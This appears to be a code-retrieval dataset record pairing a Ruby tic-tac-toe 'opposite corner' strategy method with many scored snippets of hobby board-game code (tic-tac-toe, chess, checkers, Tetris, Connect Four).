slowly(\"I... I heard about you, #{ @player.name }, from\\nmy dad, PROF. BIRCH.\")\n reset_map\n slowly(\"I was hoping that you would be nice,\\n#{ @player.name }, and that we could be friends.\")\n reset_map\n slowly(\"On, this is silly, isn't it?\\nI... I've just met you, #{ @player.name }.\")\n reset_map\n slowly(\"Eheheh...\")\n reset_map\n slowly(\"Oh, no! I forgot!\")\n reset_map\n slowly(\"I was supposed to go help Dad catch\\nsome wild POKEMON!\")\n reset_map\n slowly(\"#{ @player.name }, I'll catch you later!\")\n @map[2][8] = 'S'\n if @pos_y != 7\n print_map\n @map[2][7] = 'other_icon'\n reset_map 0.5\n @map[2][7] = 'S'\n @map[2][6] = 'other_icon'\n reset_map 0.5\n else\n @map[3][8] = 'other_icon'\n reset_map 0.5\n @map[3][8] = 'S'\n @map[3][7] = 'other_icon'\n reset_map 0.5\n @map[3][7] = 'S'\n @map[3][6] = 'other_icon'\n reset_map 0.5\n @map[3][6] = 'S'\n @map[2][6] = 'other_icon'\n reset_map 0.5\n end\n @map[2][6] = 'S'\n @map[2][5] = 'other_icon'\n reset_map 0.5\n @map[2][5] = 'S'\n @map[2][4] = 'other_icon'\n reset_map 0.5\n @map[2][4] = 'S'\n @map[2][3] = 'other_icon'\n reset_map 0.5\n @map[2][3] = 'S'\n @map[2][2] = 'other_icon'\n reset_map 0.5\n @map[2][2] = 'S'\n @map[1][2] = 'other_icon'\n reset_map 0.5\n @map[1][2] = 'S'\n reset_map 0.5\n @player.profbirchhomeupstairs = 'second'\n @player.littleroot = 'third'\n end\n end\n super\n end",
"def play_move(move)\n found_cell = false\n @state[move].map! do |cell|\n if (!found_cell && cell == :e)\n found_cell = true\n next_mover\n else\n cell\n end\n end\n \n @move_count += 1\n end",
"def win(board, marker)\n\t\t#horizontal top\n\t\tif board[0] && board[1] == marker\n\t\t\tboard[2] == perfect_move\n\t\telsif board[0] && board[2] == marker\n\t\t\tboard[1] == perfect_move\n\t\telsif board[1] && board[2] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#horiz middle\n\t\telsif board[3] && board[4] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[3] && board[5] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[5] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#horiz bottom\n\t\telsif board[6] && board[7] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[6] && board[8] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[7] && board[8] == marker\n\t\t\tboard[6] == perfect_move\n\t\t#vertical left\n\t\telsif board[0] && board[3] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[3] && board[6] == marker\n\t\t\tboard[0] == perfect_move\n\t\telsif board[0] && board[6] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#vert middle\n\t\telsif board[1] && board[4] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[1] && board[7] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[7] == marker\n\t\t\tboard[1] == perfect_move\n\t\t#vert right\n\t\telsif board[2] && board[5] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[2] && board[8] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[5] && board[8] == marker\n\t\t\tboard[2] == perfect_move\n\t\t#diaginal top left \n\t\telsif board[0] && board[4] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[0] && board[8] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[8] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#diag bottom left\n\t\telsif board[2] && board[4] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[2] && board[6] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[6] == marker\n\t\t\tboard[2] == perfect_move\n\t\telse\n\n\t\tend\n\tend",
"def gen_rook_moves(color, piece=:rook)\n moves = []\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n enemy = @position.black_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n enemy = @position.white_pieces\n end\n\n # no work to do when there are no pieces\n return moves if position[piece].nil?\n \n # for each piece\n position[piece].set_bits.each do |from| \n # [i,j] = current position\n i = from / 8\n j = from % 8\n\n #dirs flags which directions the piece is blocked\n dirs = 0\n for k in 1..7\n break if dirs == 0xf\n \n # try moving north\n if (dirs & 0x1) != 0x1\n to = from+k*8\n if i+k>7 || comrades.set?(to)\n # no further north moves possible\n dirs = dirs | 0x1\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x1 if enemy.set?(to) \n end\n end\n \n # try moving south\n if (dirs & 0x2) != 0x2\n to = from-k*8\n if i<k || comrades.set?(to)\n # no further south moves possible\n dirs = dirs | 0x2\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x2 if enemy.set?(to) \n end\n end\n \n # try moving east\n if (dirs & 0x4) != 0x4\n to = from+k\n if j+k>7 || comrades.set?(to)\n # no further east moves possible\n dirs = dirs | 0x4\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further east moves possible\n dirs = dirs | 0x4 if enemy.set?(to) \n end\n end\n \n # try moving west\n if (dirs & 0x8) != 0x8\n to = from-k\n if j-k<0 || comrades.set?(to)\n # no further east moves possible\n dirs = dirs | 0x8\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further west moves possible\n dirs = dirs | 0x8 if enemy.set?(to) \n end\n end \n end\n end \n moves\n end",
"def win(board, marker)\r\n\t\t#horizontal top\r\n\t\tif board[0] && board[1] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telsif board[0] && board[2] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\telsif board[1] && board[2] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#horiz middle\r\n\t\telsif board[3] && board[4] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[3] && board[5] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[5] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#horiz bottom\r\n\t\telsif board[6] && board[7] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[6] && board[8] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[7] && board[8] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\t#vertical left\r\n\t\telsif board[0] && board[3] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[3] && board[6] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\telsif board[0] && board[6] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#vert middle\r\n\t\telsif board[1] && board[4] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[1] && board[7] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[7] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\t#vert right\r\n\t\telsif board[2] && board[5] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[2] && board[8] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[5] && board[8] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\t#diagonal top left \r\n\t\telsif board[0] && board[4] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[0] && board[8] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[8] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#diag bottom left\r\n\t\telsif board[2] && board[4] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[2] && board[6] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[6] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telse\r\n\r\n\t\tend\r\n\tend",
"def perfect_move(marker, index)\r\n\t\tif board[index] == perfect_move\r\n\t\t\tboard[index] = marker\r\n\tend\r\n\r\n\t#final moves in order to win\r\n\tdef win(board, marker)\r\n\t\t#horizontal top\r\n\t\tif board[0] && board[1] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telsif board[0] && board[2] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\telsif board[1] && board[2] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#horiz middle\r\n\t\telsif board[3] && board[4] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[3] && board[5] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[5] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#horiz bottom\r\n\t\telsif board[6] && board[7] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[6] && board[8] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[7] && board[8] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\t#vertical left\r\n\t\telsif board[0] && board[3] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[3] && board[6] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\telsif board[0] && board[6] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#vert middle\r\n\t\telsif board[1] && board[4] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[1] && board[7] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[7] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\t#vert right\r\n\t\telsif board[2] && board[5] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[2] && board[8] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[5] && board[8] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\t#diagonal top left \r\n\t\telsif board[0] && board[4] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[0] && board[8] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[8] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#diag bottom left\r\n\t\telsif board[2] && board[4] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[2] && board[6] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[6] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telse\r\n\r\n\t\tend\r\n\tend\r\n\r\n\t#blocks an opponent from making the winning move\r\n\tdef block(human, marker, index)\r\n\t\tif human[marker] == win\r\n\t\t\tboard[index] = perfect_move\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend\r\n\r\n\tdef fork()\r\n\tend\r\n\r\n\tdef fork_block()\r\n\tend\r\n\r\n\tdef opposite_corner()\r\n\tend\r\n\r\n\tdef empty_corner()\r\n\tend\r\n\r\n\tdef empty_side()\r\n\tend\r\n\r\nend",
"def startcondense(pos)\n set = [pos]\n numfound = 0\n\n numfound = condense(set,pos,numfound)\n piecetype = @board[set[0]].identity\n\n #find bottommost piece\n endpoint = set.max\n\n #find bottommost/leftmost piece\n for i in (0..BRDSZ-1)\n if !set.include?(endpoint-1) and !@board[endpoint].isleft\n break\n else\n endpoint -= 1\n end\n end\n\n #cleanup\n for i in (0..numfound-1)\n if(set[i] != endpoint)\n @board[set[i]].assiden(\" \")\n end\n end\n @board[endpoint].next\n end",
"def first_move(game)\n if self.ai_player == \"X\"\n self.choice = \"C3\"\n return 10\n elsif self.ai_player == \"O\"\n first_play = {\n \"A1\" => \"B2\",\n \"B1\" => \"B3\",\n \"C1\" => \"B2\",\n \"A2\" => \"A3\",\n \"B2\" => \"C3\",\n \"C2\" => \"C3\",\n \"A3\" => \"B2\",\n \"B3\" => \"C3\",\n \"C3\" => \"B2\" }\n m = Matrix[*game.board.cells].index{|a| a}\n coord = \"#{alphabetize(m[0])}#{m[1]+1}\"\n self.choice = first_play[coord]\n return \"10\"\n end\n end",
"def permissible(start, stop, piece, player)\r\n $board[start[0]][start[1]].nil? ? start_color = nil : start_color = $board[start[0]][start[1]].color\r\n $board[stop[0]][stop[1]].nil? ? stop_color = nil : stop_color = $board[stop[0]][stop[1]].color \r\n # Ensures player moving own piece\r\n if start_color != player\r\n puts \"Invalid selection!\"; return false\r\n end\r\n temp_board = temporary_board(start, stop)\r\n check = in_check(player, temp_board)\r\n # Ensures King not currently in check, or move places King in check\r\n if check == true\r\n puts ''\r\n puts \"Invalid move. King in check.\" ; return false \r\n end\r\n # Ensures player doesn't capture own piece\r\n if stop_color == player\r\n puts ''\r\n puts \"You cannot capture your own piece!\"; return false\r\n end\r\n # Permits en passant\r\n if piece.class == Pawn && $board[@prev_coord[0]][@prev_coord[1]].class == Pawn\r\n if @prev_delta_y == 2 && @prev_coord[1] == start[1] && @prev_coord[0] == stop[0] \r\n if (player == 'white' && stop[1] == @prev_coord[1] + 1) or (player == 'black' && stop[1] == @prev_coord[1] -1 )\r\n print \"En passant\"\r\n $board[@prev_coord[0]][@prev_coord[1]] = nil\r\n return true\r\n end\r\n end\r\n end\r\n #King hasn't moved yet, rook hasn't moved yet\r\n if piece.class == King and start[1] == stop[1] and (start[0] - stop[0]).abs == 2 and piece.turn == 0 #first rank King,king hasn't moved, \r\n if castle_valid(start, stop, piece, player)\r\n print \"Castling...\"\r\n return true\r\n end\r\n end\r\n # Ensures move is a valid combination for piece type\r\n if piece.valid_move(start, stop, $board) == false\r\n puts ''\r\n puts \"Invalid move!\" ; return false\r\n end\r\n return true\r\n end",
"def next_piece\n if @cheat then\n @current_block = MyPiece.new([[[0,0]]],self)\n @cheat = false\n else\n @current_block= MyPiece.next_piece(self)\n end\n @current_pos = nil\n end",
"def perfect_move(marker, index)\n\t\tif board[index] == perfect_move\n\t\t\tboard[index] = marker\n\tend\n\n\t#final moves in order to win\n\tdef win(board, marker)\n\t\t#horizontal top\n\t\tif board[0] && board[1] == marker\n\t\t\tboard[2] == perfect_move\n\t\telsif board[0] && board[2] == marker\n\t\t\tboard[1] == perfect_move\n\t\telsif board[1] && board[2] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#horiz middle\n\t\telsif board[3] && board[4] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[3] && board[5] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[5] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#horiz bottom\n\t\telsif board[6] && board[7] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[6] && board[8] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[7] && board[8] == marker\n\t\t\tboard[6] == perfect_move\n\t\t#vertical left\n\t\telsif board[0] && board[3] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[3] && board[6] == marker\n\t\t\tboard[0] == perfect_move\n\t\telsif board[0] && board[6] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#vert middle\n\t\telsif board[1] && board[4] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[1] && board[7] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[7] == marker\n\t\t\tboard[1] == perfect_move\n\t\t#vert right\n\t\telsif board[2] && board[5] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[2] && board[8] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[5] && board[8] == marker\n\t\t\tboard[2] == perfect_move\n\t\t#diaginal top left \n\t\telsif board[0] && board[4] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[0] && board[8] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[8] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#diag bottom left\n\t\telsif board[2] && board[4] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[2] && board[6] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[6] == marker\n\t\t\tboard[2] == perfect_move\n\t\telse\n\n\t\tend\n\tend\n\n\t#blocks an opponent from making the winning move\n\tdef block(human, marker, index)\n\t\tif human[marker] == win\n\t\t\tboard[index] = perfect_move\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend\n\n\tdef fork()\n\tend\n\n\tdef fork_block()\n\tend\n\n\tdef opposite_corner()\n\tend\n\n\tdef empty_corner()\n\tend\n\n\tdef empty_side()\n\tend\n\nend",
"def next_piece\n if (@cheat == 0)\n @current_block = MyPiece.next_piece(self)\n @current_pos = nil\n else\n @current_block = MyPiece.cheat_piece(self)\n @current_pos = nil\n @cheat = 0\n end\n end",
"def can_move_piece(start, x, y, color, check)\n\t\ta, b = start\n\t\tif @board[x][y].piece != nil\n\t\t\torgin = @board[x][y].piece\n\t\telse \n\t\t\torgin = nil\n\t\tend\n\t\t@board[x][y].piece = @board[a][b].piece\n\t\t@board[a][b].piece = nil\n\t\tif cause_check(color, check) == true\n\t\t\t@board[a][b].piece = @board[x][y].piece\n\t\t\t@board[x][y].piece = orgin\n\t\t\treturn false\n\t\telse\n\t\t\t@board[a][b].piece = @board[x][y].piece\n\t\t\t@board[x][y].piece = orgin\n\t\t\treturn true\n\t\tend\n\tend",
"def play_turn\n move = @current_player.get_move\n switch_players!\n @board.place_mark(move, :X)\n end",
"def check_player\n if self.moves == nil or self.moves.length % 2 == 0\n @current_player = 1\n else\n @current_player = 2\n end \n end",
"def move\n @coordinates[1] += 1 if @rover_facing == 'N'\n @coordinates[0] += 1 if @rover_facing == 'E'\n @coordinates[1] -= 1 if @rover_facing == 'S'\n @coordinates[0] -= 1 if @rover_facing == 'W'\nend",
"def move_piece(org,dest)\n # remove catured piece if capture move\n if (dest[0] - org[0]).abs == 2\n captured_box = [org[0] + (dest[0]-org[0])/2 , org[1] + (dest[1]-org[1])/2]\n @pieces[captured_box[0]][captured_box[1]].remove\n end\n\n @pieces[org[0]][org[1]].remove\n @pieces[dest[0]][dest[1]] = draw_piece(dest[0],dest[1],@board.state[dest[0]][dest[1]])\nend",
"def next_piece\n if isCheat\n @isCheat = false\n @current_block = MyPiece.Cheat_Piece(self)\n @score -= 100\n else\n @current_block = MyPiece.next_piece(self)\n end\n @current_pos = nil\n end",
"def start\n puts \"Connect Four! Try to get four pieces in a row before the other player.\"\n board.print_grid\n until over?\n board.place_piece( light_turn ? LIGHT : DARK, choose_column )\n board.print_grid\n @light_turn = !@light_turn\n end\n end",
"def initialize_position\n done = false\n pos = {:facing => Game::FACINGS[rand(4)]}\n while not done do\n start_at = rand(board_size * board_size)\n start_at = [start_at / board_size, start_at % board_size]\n done = players(:x_pos => start_at[0], :y_pos => start_at[1]).empty?\n end\n pos[:x] = start_at[0]\n pos[:y] = start_at[1]\n pos\n end",
"def play(coords, board)\n if board.empty_square?(coords)\n board.set_square(coords, @symbol)\n else\n raise InvalidMove\n end\n end",
"def standard_move?(x_des, y_des)\n y_chg = (y_des.to_i - y_position).abs\n x_chg = (x_des.to_i - x_position).abs\n x_chg == 0 && ( y_chg == 1 ||\n ( first_move_pawn? && move_forward_two?(x_des, y_des) ) )\n end",
"def play_round\n loop do\n self.board.display_board\n self.player1.turn_action\n if self.player1.winner? || self.board.board_full?\n break\n end\n self.player2.turn_action\n if self.player2.winner? || self.board.board_full?\n break\n end\n end\n self.board.display_board\n end",
"def pawn_move\n position_index = Generic.find_square_index(en_passant_move, board)\n\n colour == 'White' ? pawn_move_white(position_index) : pawn_move_black(position_index)\n end",
"def play_piece(index,player,grid)\n row = 7\n col = index\n\n while grid[row][col] != \".\"\n row -= 1\n end\n\n # creates \"dropping\" animation for the piece played\n drop_row = 0\n until drop_row == row\n grid[drop_row][col] = player\n print_board(grid)\n sleep(0.05)\n grid[drop_row][col] = \".\"\n drop_row += 1\n end\n\n grid[row][col] = player\n\n coordinates = [row,col]\n return coordinates\nend",
"def start(x_player, o_player, board)\n puts \"\\n >> PLEASE SEE THE POSITIONS OF THE BOARD << \\n\\n\"\n player = which_player\n puts \"\\nYour player is 'X' and computer plays with 'O'\\n\\n\"\n if %w[N n].include?(player)\n current_player = o_player\n else\n current_player = x_player\n end\n\n (1..9).each do\n if current_player == x_player\n play(current_player, board)\n current_player = o_player\n else\n play(current_player, board)\n current_player = x_player\n end\n end\n end",
"def king_me(mv_x, mv_y, type)\n if type == 1 && mv_y == 7\n @game.board[mv_y][mv_x] = 3\n return true\n elsif type == 2 && mv_y == 0\n @game.board[mv_y][mv_x] = 4\n return true\n else\n return false\n end\n end",
"def first_move?(to_x, to_y)\n if color == 'black' && y_position == 7 || color == 'white' && y_position == 2\n return true if ((to_y - y_position).abs == 1 || (to_y - y_position).abs == 2) && to_x == x_position\n else\n false\n end\n end",
"def play\n @board.display\n while true\n\n # begin\n coords = get_input\n perform_move(coords) if valid_move_sequence?(coords)\n @board.display\n # rescue ArgumentError => e\n # puts \"Could not execute move sequence.\"\n # puts \"Error was: #{e.message}\"\n #\n # end\n\n end\n end",
"def get_cen(player, opponent)\n taken = player + opponent # all occupied board positions\n if (taken & @center).size == 0 # if center is open\n position = 4 # then take it\n else\n get_op_cor(player, opponent) # otherwise check for opposite corner\n end\n end",
"def play_turn\n @board.place_mark(@current_player.get_move, @current_player.mark)\n switch_players!\n end",
"def move_piece(move)\n curr_piece = @board[move[0]]\n if curr_piece.non_check_moves.include?(move[1])\n #if en passant, remove captured piece\n if curr_piece.class == Pawn\n #puts curr_piece.can_en_passant?\n #puts \"HELKFDSJLFKD\"\n if curr_piece.can_en_passant?\n #puts \"HOMFDMSKFDFLSJFKDSLFJSDKLF JDSFKLSJFKLEJ FE FJSKLF\"\n rank = move[0][0]\n col = move[1][1]\n captured_pawn_pos = [rank,col]\n #puts captured_pawn_pos.inspect\n @board[captured_pawn_pos] = nil\n end\n end\n @board[move[1]] = curr_piece\n @board[move[0]] = nil\n curr_piece.move_history << move\n curr_piece.pos = move[1]\n #if castling, move rook too\n if curr_piece.class == King && (move[0][1] - move[1][1]).abs == 2\n #find the appropriate rook to move\n start_rank = move[0][0]\n start_file = move[1][1] == 2 ? 0 : 7\n start_pos = [start_rank, start_file]\n rook = @board[start_pos]\n #determine its final location, then move it.\n end_file = start_file == 0 ? 3 : 5\n end_pos = [start_rank, end_file]\n @board[end_pos] = rook\n @board[start_pos] = nil\n rook.move_history << end_pos\n rook.pos = end_pos\n end\n return true\n else\n puts \"Your king is still in check!\" if @board.in_check?(curr_piece.color)\n puts \"Not a legal move for this #{curr_piece.color} #{curr_piece.class}!\"\n puts\n return false\n end\n end",
"def move_piece(start_pos,end_pos)\n begin \n raise \"No piece here to move\" if grid[start_pos[0]][start_pos[1]].nil?\n raise \"Can't move to this spot\" if end_pos[0] > 7 || end_pos[0] < 0 || end_pos[1] > 7 || end_pos[1] < 0 \n self[start_pos], self[end_pos] = self[end_pos],self[start_pos]\n end\n end",
"def empty_corner\n corners = [1,3,7,9]\n corners.select! {|corner| @game.game.free_position?(corner) }\n return corners.shuffle.first if !corners.empty?\n false\n end",
"def comp_move(some_array,which_level) \n include StrategyTools\n include FormatBoard\n \n 3.times{print \"\\n\"}\n center\n print \"MY MOVE\\n\"\n center\n 4.times{print \"_ \"}\n \n case which_level \n when \"1\"\n\trandom_play(some_array) \n \n when \"2\"\n\tif rand(2).odd?\n\t smart_play(some_array) \t\t\t\n\telse\n\t random_play(some_array) \n\tend\n\t\n when \"3\"\n if rand(4) < 3\n\t smart_play(some_array) \n\telse\n\t random_play(some_array) \n\tend\n\n when \"4\"\n\tif rand(100) < 98\n\t smart_play(some_array) \t\t\n\telse\n\t random_play(some_array) \n\tend\n\t\n end\n \n some_array\nend",
"def play\n p_arr = randomize_players(@player_1, @player_2)\n current_player = p_arr[0]\n next_player = p_arr[1]\n current_player.piece = 'X'\n next_player.piece = 'O'\n puts \"Player #{current_player.id.to_s} goes first!\"\n\n end_message = \"\"\n loop do\n set_cell(current_player.move(self))\n if check_win?\n end_message = current_player.win_message\n break\n elsif check_draw?\n end_message = \"It's a draw.\"\n break\n end\n current_player, next_player = next_player, current_player\n end\n\n display_board\n end_message\n end",
"def make_move(square,char)\n @win_vecs[(square-1)/3].squares[(square-1)%3].fill=char\n end",
"def test_X_takes_center_empty\r\n\t\tnewAI = UnbeatableAI.new(\"X\")\r\n\t\tassert_equal(4, newAI.get_move([\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]))\r\n\tend",
"def good_move(some_array) \n \n\tif (some_array[1][1] == nil) && (rand(3) == 0)\n some_array[1][1] = 10\n elsif (some_array[0][0] == nil) && (rand(3) == 0)\n\t some_array[0][0] = 10\n elsif (some_array[0][2] == nil) && (rand(3) == 0)\n\t some_array[0][2] = 10\n elsif (some_array[2][0] == nil) && (rand(3) == 0)\n\t some_array[2][0] = 10\n elsif (some_array[2][2] == nil) && (rand(3) == 0)\n\t some_array[2][2] = 10\n else\n random_play(some_array)\n end\n\t\n some_array\n\t\n end"
] |
[
"0.70012105",
"0.6522169",
"0.63387966",
"0.63328743",
"0.62405574",
"0.61369604",
"0.6131496",
"0.605904",
"0.6040189",
"0.6031751",
"0.6017023",
"0.5970853",
"0.5953036",
"0.59415215",
"0.5940223",
"0.59199506",
"0.59195024",
"0.5918493",
"0.5902305",
"0.5878847",
"0.58661544",
"0.58584344",
"0.58489",
"0.5844408",
"0.5844096",
"0.58293396",
"0.58252907",
"0.5820569",
"0.58130366",
"0.5812972",
"0.58062065",
"0.5797599",
"0.5797599",
"0.57959867",
"0.57934904",
"0.5792182",
"0.57895553",
"0.57642317",
"0.57461554",
"0.5743301",
"0.57428664",
"0.57413304",
"0.5740831",
"0.5740831",
"0.5715858",
"0.57154405",
"0.5712096",
"0.5704553",
"0.5695941",
"0.5692413",
"0.56864685",
"0.56701785",
"0.56662595",
"0.56661093",
"0.56513965",
"0.56502026",
"0.56493574",
"0.56492466",
"0.56448495",
"0.56448495",
"0.5641125",
"0.5626975",
"0.5625344",
"0.5620016",
"0.56199914",
"0.56197375",
"0.5616035",
"0.56139266",
"0.56075233",
"0.56046814",
"0.56030905",
"0.5598829",
"0.5597527",
"0.55921715",
"0.5591145",
"0.5579013",
"0.5570794",
"0.556621",
"0.5559908",
"0.55578655",
"0.5553617",
"0.55501074",
"0.5549749",
"0.5541118",
"0.5535825",
"0.55352443",
"0.55347455",
"0.55341333",
"0.5532559",
"0.55233383",
"0.55217",
"0.5513162",
"0.55065346",
"0.55047363",
"0.550392",
"0.55001384",
"0.5497397",
"0.54901433",
"0.5484237",
"0.54822487"
] |
0.55140746
|
91
|
6. opposite_corner : if the opponent is on a corner, play the opposite corner
|
def opposite_corner(board)
CORNERS.each do |corner|
if board[corner] == opponent_symbol(@symbol)
move = opposite(corner)
return move if board[move] == " "
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def opposite_corner(board)\n #NOTE this could be cleaned up further with a function that accepts two arguments ie opposite_corner_play(0,9) and then iterating over an array of corners with it...but I'm not going to do that right now.\n # NOTE opponent_in_cell opperates on indexes, board.open? operates on inputs. return is an input.\n opposite_corners = []\n opposite_corners << 9 if opponent_in_cell(0, board) && board.open?(9) # cell 8\n opposite_corners << 7 if opponent_in_cell(2, board) && board.open?(7) # cell 6\n opposite_corners << 3 if opponent_in_cell(6, board) && board.open?(3) # cell 2\n opposite_corners << 1 if opponent_in_cell(8, board) && board.open?(1) # cell 0\n self.rand_from_array(opposite_corners)\n end",
"def opposite_corner\n corners_opposite = {1=>9,3=>7,7=>3,9=>1}\n corners = corners_opposite.keys\n corners.each do |corner|\n opposite_corner = corners_opposite[corner]\n if @game.game.get_position(corner) == opponent_marker and @game.game.free_position?(opposite_corner)\n return corners_opposite[corner]\n end\n end\n false\n end",
"def corner\n corners = [ [0, 0], [0, 2], [2, 0], [2, 2] ]\n opponent_corner = corners.select { |l| @board.square(*l) == @opponent_mark }.first\n opposite = if opponent_corner\n pick_empty([[2-opponent_corner[0], 2-opponent_corner[1]]] | corners)\n else\n pick_empty(corners)\n end\n end",
"def opposite_corner\n if @board.taken?(1) && !@board.taken?(9)\n 9\n elsif @board.taken?(9) && !@board.taken?(1)\n 1\n elsif @board.taken?(3) && !@board.taken?(7)\n 7\n elsif @board.taken?(7) && !@board.taken?(3)\n 3\n else\n nil\n end\n end",
"def try_opposite_corner(ptoken, spaces)\n # Check for player corner moves; then check if opposite is open; return if so\n avail = []\n avail << 8 if spaces[0] == ptoken && spaces[8] == \" \"\n avail << 0 if spaces[8] == ptoken && spaces[0] == \" \"\n avail << 2 if spaces[6] == ptoken && spaces[2] == \" \"\n avail << 6 if spaces[2] == ptoken && spaces[6] == \" \"\n return avail.sample if ! avail.empty?\n return false # if you can't jump on an opposite corner\nend",
"def cornerMove\n # corners are 0 2 6 8\n opponent = (currentPlayer == 'X')? 'O' : 'X' \n CORNERS.each_with_index do |corner, i|\n if @board[corner] == opponent && !position_taken?(CORNERS[( i + 2) % 4])\n return CORNERS[( i + 2) % 4]\n end\n end\n\n # if here, then there is no opposite corner left to occupy, so any avaiable corner\n CORNERS.each do |corner| \n if !position_taken?(corner) \n return corner\n end\n end\n return false\n end",
"def opposite_corners?\n (@grid[\"a1\"] == @player_mark && @grid[\"c3\"] == @player_mark) || (@grid[\"a3\"] == @player_mark && @grid[\"c1\"] == @player_mark)\n end",
"def corner_move(board)\n random_corners = [0, 2, 6, 8].shuffle!\n random_corners.find {|cell| !board.taken?(cell+1)}\n end",
"def reversed_turn?(turn)\n min_turn = @players_count + 1\n max_turn = @players_count * 2\n (min_turn..max_turn).cover?(turn)\n end",
